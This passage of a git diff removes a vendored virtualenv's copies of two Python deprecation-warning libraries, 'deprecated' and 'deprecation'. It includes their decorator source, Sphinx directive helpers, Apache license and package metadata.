instance): - """ - Get the deprecation warning message for the user. - - :param wrapped: Wrapped class or function. - - :param instance: The object to which the wrapped function was bound when it was called. - - :return: The warning message. - """ - if instance is None: - if inspect.isclass(wrapped): - fmt = "Call to deprecated class {name}." - else: - fmt = "Call to deprecated function (or staticmethod) {name}." - else: - if inspect.isclass(instance): - fmt = "Call to deprecated class method {name}." - else: - fmt = "Call to deprecated method {name}." - if self.reason: - fmt += " ({reason})" - if self.version: - fmt += " -- Deprecated since version {version}." - return fmt.format(name=wrapped.__name__, reason=self.reason or "", version=self.version or "") - - def __call__(self, wrapped): - """ - Decorate your class or function. - - :param wrapped: Wrapped class or function. - - :return: the decorated class or function. - - .. versionchanged:: 1.2.4 - Don't pass arguments to :meth:`object.__new__` (other than *cls*). - - .. versionchanged:: 1.2.8 - The warning filter is not set if the *action* parameter is ``None`` or empty. - """ - if inspect.isclass(wrapped): - old_new1 = wrapped.__new__ - - def wrapped_cls(cls, *args, **kwargs): - msg = self.get_deprecated_msg(wrapped, None) - stacklevel = _class_stacklevel + self.extra_stacklevel - if self.action: - with warnings.catch_warnings(): - warnings.simplefilter(self.action, self.category) - warnings.warn(msg, category=self.category, stacklevel=stacklevel) - else: - warnings.warn(msg, category=self.category, stacklevel=stacklevel) - if old_new1 is object.__new__: - return old_new1(cls) - # actually, we don't know the real signature of *old_new1* - return old_new1(cls, *args, **kwargs) - - wrapped.__new__ = staticmethod(wrapped_cls) - - elif inspect.isroutine(wrapped): - @wrapt.decorator - def wrapper_function(wrapped_, instance_, args_, kwargs_): - msg = self.get_deprecated_msg(wrapped_, instance_) - stacklevel = _routine_stacklevel + self.extra_stacklevel - if self.action: - with warnings.catch_warnings(): - warnings.simplefilter(self.action, self.category) - warnings.warn(msg, category=self.category, stacklevel=stacklevel) - else: - warnings.warn(msg, category=self.category, stacklevel=stacklevel) - return wrapped_(*args_, **kwargs_) - - return wrapper_function(wrapped) - - else: # pragma: no cover - raise TypeError(repr(type(wrapped))) - - return wrapped - - -def deprecated(*args, **kwargs): - """ - This is a decorator which can be used to mark functions - as deprecated. It will result in a warning being emitted - when the function is used. - - **Classic usage:** - - To use this, decorate your deprecated function with **@deprecated** decorator: - - .. code-block:: python - - from deprecated import deprecated - - - @deprecated - def some_old_function(x, y): - return x + y - - You can also decorate a class or a method: - - .. code-block:: python - - from deprecated import deprecated - - - class SomeClass(object): - @deprecated - def some_old_method(self, x, y): - return x + y - - - @deprecated - class SomeOldClass(object): - pass - - You can give a *reason* message to help the developer to choose another function/class, - and a *version* number to specify the starting version number of the deprecation. - - .. code-block:: python - - from deprecated import deprecated - - - @deprecated(reason="use another function", version='1.2.0') - def some_old_function(x, y): - return x + y - - The *category* keyword argument allow you to specify the deprecation warning class of your choice. - By default, :exc:`DeprecationWarning` is used, but you can choose :exc:`FutureWarning`, - :exc:`PendingDeprecationWarning` or a custom subclass. - - .. code-block:: python - - from deprecated import deprecated - - - @deprecated(category=PendingDeprecationWarning) - def some_old_function(x, y): - return x + y - - The *action* keyword argument allow you to locally change the warning filtering. - *action* can be one of "error", "ignore", "always", "default", "module", or "once". - If ``None``, empty or missing, the global filtering mechanism is used. - See: `The Warnings Filter`_ in the Python documentation. - - .. code-block:: python - - from deprecated import deprecated - - - @deprecated(action="error") - def some_old_function(x, y): - return x + y - - The *extra_stacklevel* keyword argument allows you to specify additional stack levels - to consider instrumentation rather than user code. With the default value of 0, the - warning refers to where the class was instantiated or the function was called. - """ - if args and isinstance(args[0], string_types): - kwargs['reason'] = args[0] - args = args[1:] - - if args and not callable(args[0]): - raise TypeError(repr(type(args[0]))) - - if args: - adapter_cls = kwargs.pop('adapter_cls', ClassicAdapter) - adapter = adapter_cls(**kwargs) - wrapped = args[0] - return adapter(wrapped) - - return functools.partial(deprecated, **kwargs) diff --git a/venv/Lib/site-packages/deprecated/params.py b/venv/Lib/site-packages/deprecated/params.py deleted file mode 100644 index aac5b13f89d88bd32a12c945fd9db6ef478b7b79..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated/params.py +++ /dev/null @@ -1,79 +0,0 @@ -# coding: utf-8 -""" -Parameters deprecation -====================== - -.. _Tantale's Blog: https://tantale.github.io/ -.. _Deprecated Parameters: https://tantale.github.io/articles/deprecated_params/ - -This module introduces a :class:`deprecated_params` decorator to specify that one (or more) -parameter(s) are deprecated: when the user executes a function with a deprecated parameter, -he will see a warning message in the console. - -The decorator is customizable, the user can specify the deprecated parameter names -and associate to each of them a message providing the reason of the deprecation. -As with the :func:`~deprecated.classic.deprecated` decorator, the user can specify -a version number (using the *version* parameter) and also define the warning message category -(a subclass of :class:`Warning`) and when to display the messages (using the *action* parameter). - -The complete study concerning the implementation of this decorator is available on the `Tantale's blog`_, -on the `Deprecated Parameters`_ page. -""" -import collections -import functools -import warnings - -try: - # noinspection PyPackageRequirements - import inspect2 as inspect -except ImportError: - import inspect - - -class DeprecatedParams(object): - """ - Decorator used to decorate a function which at least one - of the parameters is deprecated. - """ - - def __init__(self, param, reason="", category=DeprecationWarning): - self.messages = {} # type: dict[str, str] - self.category = category - self.populate_messages(param, reason=reason) - - def populate_messages(self, param, reason=""): - if isinstance(param, dict): - self.messages.update(param) - elif isinstance(param, str): - fmt = "'{param}' parameter is deprecated" - reason = reason or fmt.format(param=param) - self.messages[param] = reason - else: - raise TypeError(param) - - def check_params(self, signature, *args, **kwargs): - binding = signature.bind(*args, **kwargs) - bound = collections.OrderedDict(binding.arguments, **binding.kwargs) - return [param for param in bound if param in self.messages] - - def warn_messages(self, messages): - # type: (list[str]) -> None - for message in messages: - warnings.warn(message, category=self.category, stacklevel=3) - - def __call__(self, f): - # type: (callable) -> callable - signature = inspect.signature(f) - - @functools.wraps(f) - def wrapper(*args, **kwargs): - invalid_params = self.check_params(signature, *args, **kwargs) - self.warn_messages([self.messages[param] for param in invalid_params]) - return f(*args, **kwargs) - - return wrapper - - -#: Decorator used to decorate a function which at least one -#: of the parameters is deprecated. -deprecated_params = DeprecatedParams diff --git a/venv/Lib/site-packages/deprecated/sphinx.py b/venv/Lib/site-packages/deprecated/sphinx.py deleted file mode 100644 index 90435c64f38864cbf8ede5e60da2fadc4cf54b44..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecated/sphinx.py +++ /dev/null @@ -1,281 +0,0 @@ -# coding: utf-8 -""" -Sphinx directive integration -============================ - -We usually need to document the life-cycle of functions and classes: -when they are created, modified or deprecated. - -To do that, `Sphinx `_ has a set -of `Paragraph-level markups `_: - -- ``versionadded``: to document the version of the project which added the described feature to the library, -- ``versionchanged``: to document changes of a feature, -- ``deprecated``: to document a deprecated feature. - -The purpose of this module is to defined decorators which adds this Sphinx directives -to the docstring of your function and classes. - -Of course, the ``@deprecated`` decorator will emit a deprecation warning -when the function/method is called or the class is constructed. -""" -import re -import textwrap - -from deprecated.classic import ClassicAdapter -from deprecated.classic import deprecated as _classic_deprecated - - -class SphinxAdapter(ClassicAdapter): - """ - Sphinx adapter -- *for advanced usage only* - - This adapter override the :class:`~deprecated.classic.ClassicAdapter` - in order to add the Sphinx directives to the end of the function/class docstring. - Such a directive is a `Paragraph-level markup `_ - - - The directive can be one of "versionadded", "versionchanged" or "deprecated". - - The version number is added if provided. - - The reason message is obviously added in the directive block if not empty. - """ - - def __init__( - self, - directive, - reason="", - version="", - action=None, - category=DeprecationWarning, - extra_stacklevel=0, - line_length=70, - ): - """ - Construct a wrapper adapter. - - :type directive: str - :param directive: - Sphinx directive: can be one of "versionadded", "versionchanged" or "deprecated". - - :type reason: str - :param reason: - Reason message which documents the deprecation in your library (can be omitted). - - :type version: str - :param version: - Version of your project which deprecates this feature. - If you follow the `Semantic Versioning `_, - the version number has the format "MAJOR.MINOR.PATCH". - - :type action: Literal["default", "error", "ignore", "always", "module", "once"] - :param action: - A warning filter used to activate or not the deprecation warning. - Can be one of "error", "ignore", "always", "default", "module", or "once". - If ``None`` or empty, the global filtering mechanism is used. - See: `The Warnings Filter`_ in the Python documentation. - - :type category: Type[Warning] - :param category: - The warning category to use for the deprecation warning. - By default, the category class is :class:`~DeprecationWarning`, - you can inherit this class to define your own deprecation warning category. - - :type extra_stacklevel: int - :param extra_stacklevel: - Number of additional stack levels to consider instrumentation rather than user code. - With the default value of 0, the warning refers to where the class was instantiated - or the function was called. - - :type line_length: int - :param line_length: - Max line length of the directive text. If non nul, a long text is wrapped in several lines. - - .. versionchanged:: 1.2.15 - Add the *extra_stacklevel* parameter. - """ - if not version: - # https://github.com/laurent-laporte-pro/deprecated/issues/40 - raise ValueError("'version' argument is required in Sphinx directives") - self.directive = directive - self.line_length = line_length - super(SphinxAdapter, self).__init__( - reason=reason, version=version, action=action, category=category, extra_stacklevel=extra_stacklevel - ) - - def __call__(self, wrapped): - """ - Add the Sphinx directive to your class or function. - - :param wrapped: Wrapped class or function. - - :return: the decorated class or function. - """ - # -- build the directive division - fmt = ".. {directive}:: {version}" if self.version else ".. {directive}::" - div_lines = [fmt.format(directive=self.directive, version=self.version)] - width = self.line_length - 3 if self.line_length > 3 else 2**16 - reason = textwrap.dedent(self.reason).strip() - for paragraph in reason.splitlines(): - if paragraph: - div_lines.extend( - textwrap.fill( - paragraph, - width=width, - initial_indent=" ", - subsequent_indent=" ", - ).splitlines() - ) - else: - div_lines.append("") - - # -- get the docstring, normalize the trailing newlines - # keep a consistent behaviour if the docstring starts with newline or directly on the first one - docstring = wrapped.__doc__ or "" - lines = docstring.splitlines(True) or [""] - docstring = textwrap.dedent("".join(lines[1:])) if len(lines) > 1 else "" - docstring = lines[0] + docstring - if docstring: - # An empty line must separate the original docstring and the directive. - docstring = re.sub(r"\n+$", "", docstring, flags=re.DOTALL) + "\n\n" - else: - # Avoid "Explicit markup ends without a blank line" when the decorated function has no docstring - docstring = "\n" - - # -- append the directive division to the docstring - docstring += "".join("{}\n".format(line) for line in div_lines) - - wrapped.__doc__ = docstring - if self.directive in {"versionadded", "versionchanged"}: - return wrapped - return super(SphinxAdapter, self).__call__(wrapped) - - def get_deprecated_msg(self, wrapped, instance): - """ - Get the deprecation warning message (without Sphinx cross-referencing syntax) for the user. - - :param wrapped: Wrapped class or function. - - :param instance: The object to which the wrapped function was bound when it was called. - - :return: The warning message. - - .. versionadded:: 1.2.12 - Strip Sphinx cross-referencing syntax from warning message. - - """ - msg = super(SphinxAdapter, self).get_deprecated_msg(wrapped, instance) - # Strip Sphinx cross-reference syntax (like ":function:", ":py:func:" and ":py:meth:") - # Possible values are ":role:`foo`", ":domain:role:`foo`" - # where ``role`` and ``domain`` should match "[a-zA-Z]+" - msg = re.sub(r"(?: : [a-zA-Z]+ )? : [a-zA-Z]+ : (`[^`]*`)", r"\1", msg, flags=re.X) - return msg - - -def versionadded(reason="", version="", line_length=70): - """ - This decorator can be used to insert a "versionadded" directive - in your function/class docstring in order to document the - version of the project which adds this new functionality in your library. - - :param str reason: - Reason message which documents the addition in your library (can be omitted). - - :param str version: - Version of your project which adds this feature. - If you follow the `Semantic Versioning `_, - the version number has the format "MAJOR.MINOR.PATCH", and, - in the case of a new functionality, the "PATCH" component should be "0". - - :type line_length: int - :param line_length: - Max line length of the directive text. If non nul, a long text is wrapped in several lines. - - :return: the decorated function. - """ - adapter = SphinxAdapter( - 'versionadded', - reason=reason, - version=version, - line_length=line_length, - ) - return adapter - - -def versionchanged(reason="", version="", line_length=70): - """ - This decorator can be used to insert a "versionchanged" directive - in your function/class docstring in order to document the - version of the project which modifies this functionality in your library. - - :param str reason: - Reason message which documents the modification in your library (can be omitted). - - :param str version: - Version of your project which modifies this feature. - If you follow the `Semantic Versioning `_, - the version number has the format "MAJOR.MINOR.PATCH". - - :type line_length: int - :param line_length: - Max line length of the directive text. If non nul, a long text is wrapped in several lines. - - :return: the decorated function. - """ - adapter = SphinxAdapter( - 'versionchanged', - reason=reason, - version=version, - line_length=line_length, - ) - return adapter - - -def deprecated(reason="", version="", line_length=70, **kwargs): - """ - This decorator can be used to insert a "deprecated" directive - in your function/class docstring in order to document the - version of the project which deprecates this functionality in your library. - - :param str reason: - Reason message which documents the deprecation in your library (can be omitted). - - :param str version: - Version of your project which deprecates this feature. - If you follow the `Semantic Versioning `_, - the version number has the format "MAJOR.MINOR.PATCH". - - :type line_length: int - :param line_length: - Max line length of the directive text. If non nul, a long text is wrapped in several lines. - - Keyword arguments can be: - - - "action": - A warning filter used to activate or not the deprecation warning. - Can be one of "error", "ignore", "always", "default", "module", or "once". - If ``None``, empty or missing, the global filtering mechanism is used. - - - "category": - The warning category to use for the deprecation warning. - By default, the category class is :class:`~DeprecationWarning`, - you can inherit this class to define your own deprecation warning category. - - - "extra_stacklevel": - Number of additional stack levels to consider instrumentation rather than user code. - With the default value of 0, the warning refers to where the class was instantiated - or the function was called. - - - :return: a decorator used to deprecate a function. - - .. versionchanged:: 1.2.13 - Change the signature of the decorator to reflect the valid use cases. - - .. versionchanged:: 1.2.15 - Add the *extra_stacklevel* parameter. - """ - directive = kwargs.pop('directive', 'deprecated') - adapter_cls = kwargs.pop('adapter_cls', SphinxAdapter) - kwargs["reason"] = reason - kwargs["version"] = version - kwargs["line_length"] = line_length - return _classic_deprecated(directive=directive, adapter_cls=adapter_cls, **kwargs) diff --git a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/INSTALLER b/venv/Lib/site-packages/deprecation-2.1.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/LICENSE b/venv/Lib/site-packages/deprecation-2.1.0.dist-info/LICENSE deleted file mode 100644 index 8dada3edaf50dbc082c9a125058f25def75e625a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "{}" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright {yyyy} {name of copyright owner} - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/METADATA b/venv/Lib/site-packages/deprecation-2.1.0.dist-info/METADATA deleted file mode 100644 index 1d44ff8c954b2d6e7b93e7ef0d370591d491b984..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/METADATA +++ /dev/null @@ -1,114 +0,0 @@ -Metadata-Version: 2.1 -Name: deprecation -Version: 2.1.0 -Summary: A library to handle automated deprecations -Home-page: http://deprecation.readthedocs.io/ -Author: Brian Curtin -Author-email: brian@python.org -Maintainer: Brian Curtin -Maintainer-email: brian@python.org -License: Apache 2 -Project-URL: Documentation, http://deprecation.readthedocs.io/en/latest/ -Project-URL: Source, https://github.com/briancurtin/deprecation -Project-URL: Bug Tracker, https://github.com/briancurtin/deprecation/issues -Keywords: deprecation -Platform: UNKNOWN -Classifier: Development Status :: 5 - Production/Stable -Classifier: License :: OSI Approved :: Apache Software License -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 2 -Classifier: Programming Language :: Python :: 2.7 -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.5 -Classifier: Programming Language :: Python :: 3.6 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Dist: packaging - -deprecation -=========== - -.. image:: https://readthedocs.org/projects/deprecation/badge/?version=latest - :target: http://deprecation.readthedocs.io/en/latest/ - :alt: Documentation Status - -.. image:: https://travis-ci.org/briancurtin/deprecation.svg?branch=master - :target: https://travis-ci.org/briancurtin/deprecation - -.. image:: https://codecov.io/gh/briancurtin/deprecation/branch/master/graph/badge.svg - :target: https://codecov.io/gh/briancurtin/deprecation - -The ``deprecation`` library provides a ``deprecated`` decorator and a -``fail_if_not_removed`` decorator for your tests. Together, the two -enable the automation of several things: - -1. The docstring of a deprecated method gets the deprecation details - appended to the end of it. If you generate your API docs direct - from your source, you don't need to worry about writing your own - notification. You also don't need to worry about forgetting to - write it. It's done for you. -2. Rather than having code live on forever because you only deprecated - it but never actually moved on from it, you can have your tests - tell you when it's time to remove the code. The ``@deprecated`` - decorator can be told when it's time to entirely remove the code, - which causes ``@fail_if_not_removed`` to raise an ``AssertionError``, - causing either your unittest or py.test tests to fail. - -See http://deprecation.readthedocs.io/ for the full documentation. - -Installation -============ - - :: - - pip install deprecation - -Usage -===== - - :: - - import deprecation - - @deprecation.deprecated(deprecated_in="1.0", removed_in="2.0", - current_version=__version__, - details="Use the bar function instead") - def foo(): - """Do some stuff""" - return 1 - -...but doesn't Python ignore ``DeprecationWarning``? -==================================================== - -Yes, by default since 2.7—and for good reason [#]_ —and this works fine -with that. - -1. It often makes sense for you to run your tests with a ``-W`` flag or - the ``PYTHONWARNINGS`` environment variable so you catch warnings - in development and handle them appropriately. The warnings raised by - this library show up there, as they're subclasses of the built-in - ``DeprecationWarning``. See the `Command Line - `_ - and `Environment Variable - `_ - documentation for more details. -2. Even if you don't enable those things, the behavior of this library - remains the same. The docstrings will still be updated and the tests - will still fail when they need to. You'll get the benefits regardless - of what Python cares about ``DeprecationWarning``. - ----- - -.. [#] Exposing application users to ``DeprecationWarning``\s that are - emitted by lower-level code needlessly involves end-users in - "how things are done." It often leads to users raising issues - about warnings they're presented, which on one hand is done - rightfully so, as it's been presented to them as some sort of - issue to resolve. However, at the same time, the warning could - be well known and planned for. From either side, loud - ``DeprecationWarning``\s can be seen as noise that isn't - necessary outside of development. - - diff --git a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/RECORD b/venv/Lib/site-packages/deprecation-2.1.0.dist-info/RECORD deleted file mode 100644 index 635e7ff85c7cd139c27011eee561ae11ea2b84d2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/RECORD +++ /dev/null @@ -1,8 +0,0 @@ -__pycache__/deprecation.cpython-314.pyc,, -deprecation-2.1.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -deprecation-2.1.0.dist-info/LICENSE,sha256=tAkwu8-AdEyGxGoSvJ2gVmQdcicWw3j1ZZueVV74M-E,11357 -deprecation-2.1.0.dist-info/METADATA,sha256=AmlhU86t_lQQh858jSMZMZpoYM6gfnnLSKKe5DgGU88,4604 -deprecation-2.1.0.dist-info/RECORD,, -deprecation-2.1.0.dist-info/WHEEL,sha256=kGT74LWyRUZrL4VgLh6_g12IeVl_9u9ZVhadrgXZUEY,110 -deprecation-2.1.0.dist-info/top_level.txt,sha256=ztDh9pLraFksBgQ6iXWE_OnukoBC6_jkPQ4Y6p7771o,12 -deprecation.py,sha256=Z8qPVC-janAf7Ppoc1wYTiTWvGSdSjErOV1jDhnHN0Y,12895 diff --git a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/WHEEL b/venv/Lib/site-packages/deprecation-2.1.0.dist-info/WHEEL deleted file mode 100644 index ef99c6cf3283b50a273ac4c6d009a0aa85597070..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/WHEEL +++ /dev/null @@ -1,6 +0,0 @@ -Wheel-Version: 1.0 -Generator: bdist_wheel (0.34.2) -Root-Is-Purelib: true -Tag: py2-none-any -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/top_level.txt b/venv/Lib/site-packages/deprecation-2.1.0.dist-info/top_level.txt deleted file mode 100644 index 4ba9b7530edb65eb2e59706b230a62c8912ab515..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecation-2.1.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -deprecation diff --git a/venv/Lib/site-packages/deprecation.py b/venv/Lib/site-packages/deprecation.py deleted file mode 100644 index 0217b58906dbbb2a5217da39f84d65874db4185b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/deprecation.py +++ /dev/null @@ -1,290 +0,0 @@ -# Licensed under the Apache License, Version 2.0 (the "License"); you may -# not use this file except in compliance with the License. You may obtain -# a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT -# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the -# License for the specific language governing permissions and limitations -# under the License. -import collections -import functools -import textwrap -import warnings - -from packaging import version -from datetime import date - -__version__ = "2.1.0" - -# This is mostly here so automodule docs are ordered more ideally. -__all__ = ["deprecated", "message_location", "fail_if_not_removed", - "DeprecatedWarning", "UnsupportedWarning"] - -#: Location where the details are added to a deprecated docstring -#: -#: When set to ``"bottom"``, the details are appended to the end. -#: When set to ``"top"``, the details are inserted between the -#: summary line and docstring contents. -message_location = "bottom" - - -class DeprecatedWarning(DeprecationWarning): - """A warning class for deprecated methods - - This is a specialization of the built-in :class:`DeprecationWarning`, - adding parameters that allow us to get information into the __str__ - that ends up being sent through the :mod:`warnings` system. - The attributes aren't able to be retrieved after the warning gets - raised and passed through the system as only the class--not the - instance--and message are what gets preserved. - - :param function: The function being deprecated. - :param deprecated_in: The version that ``function`` is deprecated in - :param removed_in: The version or :class:`datetime.date` specifying - when ``function`` gets removed. - :param details: Optional details about the deprecation. Most often - this will include directions on what to use instead - of the now deprecated code. - """ - - def __init__(self, function, deprecated_in, removed_in, details=""): - # NOTE: The docstring only works for this class if it appears up - # near the class name, not here inside __init__. I think it has - # to do with being an exception class. - self.function = function - self.deprecated_in = deprecated_in - self.removed_in = removed_in - self.details = details - super(DeprecatedWarning, self).__init__(function, deprecated_in, - removed_in, details) - - def __str__(self): - # Use a defaultdict to give us the empty string - # when a part isn't included. - parts = collections.defaultdict(str) - parts["function"] = self.function - - if self.deprecated_in: - parts["deprecated"] = " as of %s" % self.deprecated_in - if self.removed_in: - parts["removed"] = " and will be removed {} {}".format("on" if isinstance(self.removed_in, date) else "in", - self.removed_in) - if any([self.deprecated_in, self.removed_in, self.details]): - parts["period"] = "." - if self.details: - parts["details"] = " %s" % self.details - - return ("%(function)s is deprecated%(deprecated)s%(removed)s" - "%(period)s%(details)s" % (parts)) - - -class UnsupportedWarning(DeprecatedWarning): - """A warning class for methods to be removed - - This is a subclass of :class:`~deprecation.DeprecatedWarning` and is used - to output a proper message about a function being unsupported. - Additionally, the :func:`~deprecation.fail_if_not_removed` decorator - will handle this warning and cause any tests to fail if the system - under test uses code that raises this warning. - """ - - def __str__(self): - parts = collections.defaultdict(str) - parts["function"] = self.function - parts["removed"] = self.removed_in - - if self.details: - parts["details"] = " %s" % self.details - - return ("%(function)s is unsupported as of %(removed)s." - "%(details)s" % (parts)) - - -def deprecated(deprecated_in=None, removed_in=None, current_version=None, - details=""): - """Decorate a function to signify its deprecation - - This function wraps a method that will soon be removed and does two things: - * The docstring of the method will be modified to include a notice - about deprecation, e.g., "Deprecated since 0.9.11. Use foo instead." - * Raises a :class:`~deprecation.DeprecatedWarning` - via the :mod:`warnings` 